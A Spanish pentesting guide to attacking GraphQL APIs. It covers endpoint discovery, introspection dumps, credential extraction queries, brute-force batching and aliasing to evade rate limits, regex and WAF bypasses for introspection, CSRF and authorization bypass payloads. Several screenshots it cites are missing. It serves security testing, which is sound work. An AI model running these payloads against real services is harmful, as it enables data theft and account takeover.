GraphQL

Introducción

GraphQL se destaca como una alternativa eficiente a la API REST, ofreciendo un enfoque simplificado para consultar datos desde el backend. A diferencia de REST, que a menudo requiere numerosas solicitudes a través de diversos endpoints para recopilar datos, GraphQL permite obtener toda la información necesaria a través de una solicitud única. Esta simplificación beneficia significativamente a los desarrolladores al disminuir la complejidad de sus procesos de obtención de datos.

GraphQL y Seguridad

Con la llegada de nuevas tecnologías, incluido GraphQL, también surgen nuevas vulnerabilidades de seguridad. Un punto clave a tener en cuenta es que GraphQL no incluye mecanismos de autenticación por defecto. Es responsabilidad de los desarrolladores implementar tales medidas de seguridad. Sin una autenticación adecuada, los endpoints de GraphQL pueden exponer información sensible a usuarios no autenticados, lo que representa un riesgo de seguridad significativo.

Ataques de Fuerza Bruta en Directorios y GraphQL

Para identificar instancias de GraphQL expuestas, se recomienda la inclusión de rutas específicas en ataques de fuerza bruta en directorios. Estas rutas son:

• /graphql

• /graphiql

• /graphql.php

• /graphql/console

• /api

• /api/graphql

• /graphql/api

• /graphql/graphql

Identificar instancias de GraphQL abiertas permite examinar las consultas admitidas. Esto es crucial para entender los datos accesibles a través del endpoint. El sistema de introspección de GraphQL facilita esto al detallar las consultas que un esquema admite. Para más información sobre esto, consulta la documentación de GraphQL sobre introspección: GraphQL: Un lenguaje de consulta para APIs.

Huella Digital

La herramienta graphw00f es capaz de detectar qué motor de GraphQL se utiliza en un servidor y luego imprime información útil para el auditor de seguridad.

Consultas Universales

Para verificar si una URL es un servicio de GraphQL, se puede enviar una consulta universal, query{__typename}. Si la respuesta incluye {"data": {"__typename": "Query"}}, confirma que la URL alberga un endpoint de GraphQL. Este método se basa en el campo __typename de GraphQL, que revela el tipo del objeto consultado.

query{__typename}

Enumeración Básica

Graphql generalmente soporta GET, POST (x-www-form-urlencoded) y POST(json). Aunque por razones de seguridad, se recomienda permitir solo json para prevenir ataques CSRF.

Introspección

Para usar la introspección y descubrir información del esquema, consulta el campo __schema. Este campo está disponible en el tipo raíz de todas las consultas.

query={__schema{types{name,fields{name}}}}

Con esta consulta encontrarás el nombre de todos los tipos que se están utilizando:

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

Con esta consulta puedes extraer todos los tipos, sus campos y sus argumentos (y el tipo de los args). Esto será muy útil para saber cómo consultar la base de datos.

Errores

Es interesante saber si los errores se van a mostrar ya que contribuirán con información útil.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Enumerar el esquema de la base de datos a través de la introspección

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Consulta de introspección en línea:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

La última línea de código es una consulta graphql que volcará toda la meta-información del graphql (nombres de objetos, parámetros, tipos...)

Si la introspección está habilitada, puedes usar GraphQL Voyager para ver en una GUI todas las opciones.

Consultando

Ahora que sabemos qué tipo de información se guarda dentro de la base de datos, intentemos extraer algunos valores.

En la introspección puedes encontrar qué objeto puedes consultar directamente (porque no puedes consultar un objeto solo porque existe). En la imagen siguiente puedes ver que el "queryType" se llama "Query" y que uno de los campos del objeto "Query" es "flags", que también es un tipo de objeto. Por lo tanto, puedes consultar el objeto flag.

Ten en cuenta que el tipo de la consulta "flags" es "Flags", y este objeto se define como se muestra a continuación:

Puedes ver que los objetos "Flags" están compuestos por name y value. Luego puedes obtener todos los nombres y valores de las flags con la consulta:

query={flags{name, value}}

Ten en cuenta que en caso de que el objeto a consultar sea un tipo primitivo como string como en el siguiente ejemplo

Puedes simplemente consultarlo con:

query={hiddenFlags}

En otro ejemplo donde había 2 objetos dentro del objeto de tipo "Query": "user" y "users". Si estos objetos no necesitan ningún argumento para buscar, podría recuperar toda la información de ellos solo pidiendo los datos que desea. En este ejemplo de Internet podría extraer los nombres de usuario y contraseñas guardados:

Sin embargo, en este ejemplo, si intentas hacerlo, obtienes este error:

Parece que de alguna manera buscará utilizando el argumento "uid" de tipo Int. De todos modos, ya sabíamos que, en la sección de Enumeración Básica, se propuso una consulta que nos mostraba toda la información necesaria: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

Si lees la imagen proporcionada cuando ejecuto esa consulta, verás que "user" tenía el arg "uid" de tipo Int.

Así que, realizando un ligero uid bruteforce, descubrí que en uid=1 se recuperó un nombre de usuario y una contraseña: query={user(uid:1){user,password}}

Nota que descubrí que podía pedir los parámetros "user" y "password" porque si intento buscar algo que no existe (query={user(uid:1){noExists}}) obtengo este error:

Y durante la fase de enumeración descubrí que el objeto "dbuser" tenía como campos "user" y "password.

Truco de volcado de cadena de consulta (gracias a @BinaryShadow_)

Si puedes buscar por un tipo de cadena, como: query={theusers(description: ""){username,password}} y buscas una cadena vacía, volcará todos los datos. (Nota que este ejemplo no está relacionado con el ejemplo de los tutoriales, para este ejemplo supón que puedes buscar usando "theusers" por un campo de cadena llamado "description").

Búsqueda

En esta configuración, una base de datos contiene personas y películas. Las personas se identifican por su correo electrónico y nombre; las películas por su nombre y calificación. Las personas pueden ser amigas entre sí y también tener películas, indicando relaciones dentro de la base de datos.

Puedes buscar personas por el nombre y obtener sus correos electrónicos:

{
searchPerson(name: "John Doe") {
email
}
}

Puedes buscar personas por el nombre y obtener sus películas suscritas:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Nota cómo se indica recuperar el name de los subscribedMovies de la persona.

También puedes buscar varios objetos al mismo tiempo. En este caso, se realiza una búsqueda de 2 películas:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

O incluso relaciones de varios objetos diferentes utilizando alias:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutaciones

Las mutaciones se utilizan para realizar cambios en el lado del servidor.

En la introspección puedes encontrar las mutaciones declaradas. En la siguiente imagen, el "MutationType" se llama "Mutation" y el objeto "Mutation" contiene los nombres de las mutaciones (como "addPerson" en este caso):

En esta configuración, una base de datos contiene personas y películas. Las personas se identifican por su correo electrónico y nombre; las películas por su nombre y calificación. Las personas pueden ser amigas entre sí y también tener películas, indicando relaciones dentro de la base de datos.

Una mutación para crear nuevas películas dentro de la base de datos puede ser como la siguiente (en este ejemplo, la mutación se llama addMovie):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Nota cómo tanto los valores como el tipo de datos se indican en la consulta.

Además, la base de datos admite una operación de mutación, llamada addPerson, que permite la creación de personas junto con sus asociaciones a amigos y películas existentes. Es crucial notar que los amigos y las películas deben preexistir en la base de datos antes de vincularlos a la persona recién creada.

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Sobrecarga de Directivas

Como se explicó en una de las vulnerabilidades descritas en este informe, una sobrecarga de directivas implica llamar a una directiva incluso millones de veces para hacer que el servidor desperdicie operaciones hasta que sea posible hacer un DoS.

Agrupación de fuerza bruta en 1 solicitud API

Esta información fue tomada de https://lab.wallarm.com/graphql-batching-attack/. Autenticación a través de la API de GraphQL con el envío simultáneo de muchas consultas con diferentes credenciales para verificarlo. Es un ataque clásico de fuerza bruta, pero ahora es posible enviar más de un par de inicio de sesión/contraseña por solicitud HTTP debido a la función de agrupación de GraphQL. Este enfoque engañaría a las aplicaciones externas de monitoreo de tasas haciéndoles pensar que todo está bien y que no hay un bot de fuerza bruta intentando adivinar contraseñas.

A continuación, puedes encontrar la demostración más simple de una solicitud de autenticación de aplicación, con 3 pares de correo electrónico/contraseña diferentes a la vez. Obviamente, es posible enviar miles en una sola solicitud de la misma manera:

Como podemos ver en la captura de pantalla de la respuesta, la primera y la tercera solicitudes devolvieron null y reflejaron la información correspondiente en la sección de error. La segunda mutación tenía los datos de autenticación correctos y la respuesta tiene el token de sesión de autenticación correcto.

GraphQL Sin Introspección

Cada vez más puntos finales de graphql están deshabilitando la introspección. Sin embargo, los errores que graphql lanza cuando se recibe una solicitud inesperada son suficientes para que herramientas como clairvoyance recrean la mayor parte del esquema.

Además, la extensión de Burp Suite GraphQuail observa las solicitudes de API de GraphQL que pasan a través de Burp y construye un esquema interno de GraphQL con cada nueva consulta que ve. También puede exponer el esquema para GraphiQL y Voyager. La extensión devuelve una respuesta falsa cuando recibe una consulta de introspección. Como resultado, GraphQuail muestra todas las consultas, argumentos y campos disponibles para su uso dentro de la API. Para más información verifica esto.

Una buena lista de palabras para descubrir entidades de GraphQL se puede encontrar aquí.

Eludir las defensas de introspección de GraphQL

Para eludir las restricciones en las consultas de introspección en las API, insertar un carácter especial después de la palabra clave __schema resulta efectivo. Este método explota descuidos comunes de los desarrolladores en patrones de regex que intentan bloquear la introspección al centrarse en la palabra clave __schema. Al agregar caracteres como espacios, nuevas líneas y comas, que GraphQL ignora pero que podrían no ser considerados en regex, se pueden eludir las restricciones. Por ejemplo, una consulta de introspección con una nueva línea después de __schema puede eludir tales defensas:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

Si no tiene éxito, considere métodos de solicitud alternativos, como solicitudes GET o POST con x-www-form-urlencoded, ya que las restricciones pueden aplicarse solo a las solicitudes POST.

Intente WebSockets

Como se mencionó en esta charla, verifique si podría ser posible conectarse a graphQL a través de WebSockets, ya que eso podría permitirle eludir un posible WAF y hacer que la comunicación de WebSocket filtre el esquema de graphQL:

ws = new WebSocket('wss://target/graphql', 'graphql-ws');
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`
}

var graphqlMsg = {
type: 'GQL.START',
id: '1',
payload: GQL_CALL,
};
ws.send(JSON.stringify(graphqlMsg));
}

Descubriendo Estructuras GraphQL Expuestas

Cuando la introspección está deshabilitada, examinar el código fuente del sitio web en busca de consultas precargadas en bibliotecas de JavaScript es una estrategia útil. Estas consultas se pueden encontrar utilizando la pestaña Sources en las herramientas de desarrollo, proporcionando información sobre el esquema de la API y revelando potencialmente consultas sensibles expuestas. Los comandos para buscar dentro de las herramientas de desarrollo son:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

CSRF en GraphQL

Si no sabes qué es CSRF, lee la siguiente página:

Allí podrás encontrar varios endpoints de GraphQL configurados sin tokens CSRF.

Ten en cuenta que las solicitudes de GraphQL generalmente se envían a través de solicitudes POST utilizando el Content-Type application/json.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

Sin embargo, la mayoría de los endpoints de GraphQL también soportan form-urlencoded solicitudes POST:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Por lo tanto, dado que las solicitudes CSRF como las anteriores se envían sin solicitudes de preflight, es posible realizar cambios en el GraphQL abusando de un CSRF.

Sin embargo, tenga en cuenta que el nuevo valor predeterminado de la cookie de la bandera samesite de Chrome es Lax. Esto significa que la cookie solo se enviará desde un sitio web de terceros en solicitudes GET.

Tenga en cuenta que generalmente es posible enviar la solicitud de consulta también como una solicitud GET y el token CSRF podría no estar siendo validado en una solicitud GET.

Además, abusando de un XS-Search ataque podría ser posible exfiltrar contenido del punto final de GraphQL abusando de las credenciales del usuario.

Para más información verifique el post original aquí.

Secuestro de WebSocket entre sitios en GraphQL

Similar a las vulnerabilidades CRSF que abusan de graphQL, también es posible realizar un secuestro de WebSocket entre sitios para abusar de una autenticación con GraphQL con cookies no protegidas y hacer que un usuario realice acciones inesperadas en GraphQL.

Para más información consulte:

Autorización en GraphQL

Muchas funciones de GraphQL definidas en el punto final pueden solo verificar la autenticación del solicitante pero no la autorización.

Modificar las variables de entrada de la consulta podría llevar a detalles sensibles de la cuenta leaked.

La mutación podría incluso llevar a la toma de control de la cuenta al intentar modificar otros datos de la cuenta.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Bypass de autorización en GraphQL

Encadenar consultas juntas puede eludir un sistema de autenticación débil.

En el ejemplo a continuación, puedes ver que la operación es "forgotPassword" y que solo debería ejecutar la consulta forgotPassword asociada. Esto se puede eludir agregando una consulta al final, en este caso agregamos "register" y una variable de usuario para que el sistema registre a un nuevo usuario.

Eludir límites de tasa usando alias en GraphQL

En GraphQL, los alias son una característica poderosa que permite la nominación de propiedades explícitamente al hacer una solicitud de API. Esta capacidad es particularmente útil para recuperar múltiples instancias del mismo tipo de objeto dentro de una sola solicitud. Los alias se pueden emplear para superar la limitación que impide que los objetos de GraphQL tengan múltiples propiedades con el mismo nombre.

Para una comprensión detallada de los alias de GraphQL, se recomienda el siguiente recurso: Aliases.

Si bien el propósito principal de los alias es reducir la necesidad de numerosas llamadas a la API, se ha identificado un caso de uso no intencionado donde los alias pueden ser aprovechados para ejecutar ataques de fuerza bruta en un endpoint de GraphQL. Esto es posible porque algunos endpoints están protegidos por limitadores de tasa diseñados para frustrar ataques de fuerza bruta al restringir el número de solicitudes HTTP. Sin embargo, estos limitadores de tasa pueden no tener en cuenta el número de operaciones dentro de cada solicitud. Dado que los alias permiten la inclusión de múltiples consultas en una sola solicitud HTTP, pueden eludir tales medidas de limitación de tasa.

Considera el ejemplo proporcionado a continuación, que ilustra cómo se pueden usar consultas con alias para verificar la validez de los códigos de descuento de la tienda. Este método podría eludir la limitación de tasa ya que compila varias consultas en una sola solicitud HTTP, lo que potencialmente permite la verificación de numerosos códigos de descuento simultáneamente.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

Tools

Vulnerability scanners

• https://github.com/dolevf/graphql-cop: Prueba configuraciones incorrectas comunes de endpoints graphql

• https://github.com/assetnote/batchql: Script de auditoría de seguridad de GraphQL con un enfoque en realizar consultas y mutaciones GraphQL por lotes.

• https://github.com/dolevf/graphw00f: Identificar el graphql que se está utilizando

• https://github.com/gsmith257-cyber/GraphCrawler: Kit de herramientas que se puede usar para obtener esquemas y buscar datos sensibles, probar autorización, forzar esquemas y encontrar rutas a un tipo dado.

• https://blog.doyensec.com/2020/03/26/graphql-scanner.html: Se puede usar como independiente o extensión de Burp.

• https://github.com/swisskyrepo/GraphQLmap: También se puede usar como cliente CLI para automatizar ataques

• https://gitlab.com/dee-see/graphql-path-enum: Herramienta que lista las diferentes formas de alcanzar un tipo dado en un esquema GraphQL.

• https://github.com/doyensec/GQLSpection: El sucesor de los modos independiente y CLI de InQL

• https://github.com/doyensec/inql: Extensión de Burp para pruebas avanzadas de GraphQL. El Escáner es el núcleo de InQL v5.0, donde puedes analizar un endpoint de GraphQL o un archivo de esquema de introspección local. Genera automáticamente todas las posibles consultas y mutaciones, organizándolas en una vista estructurada para tu análisis. El componente Atacante te permite ejecutar ataques GraphQL por lotes, lo que puede ser útil para eludir límites de tasa mal implementados.

• https://github.com/nikitastupin/clairvoyance: Intenta obtener el esquema incluso con la introspección deshabilitada utilizando la ayuda de algunas bases de datos Graphql que sugerirán los nombres de mutaciones y parámetros.

Clients

• https://github.com/graphql/graphiql: Cliente GUI

• https://altair.sirmuel.design/: Cliente GUI

Automatic Tests

• Video explicando AutoGraphQL: https://www.youtube.com/watch?v=JJmufWfVvyU

References

• https://jondow.eu/practical-graphql-attack-vectors/

• https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696

• https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4

• http://ghostlulz.com/api-hacking-graphql/

• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md

• https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696

• https://portswigger.net/web-security/graphql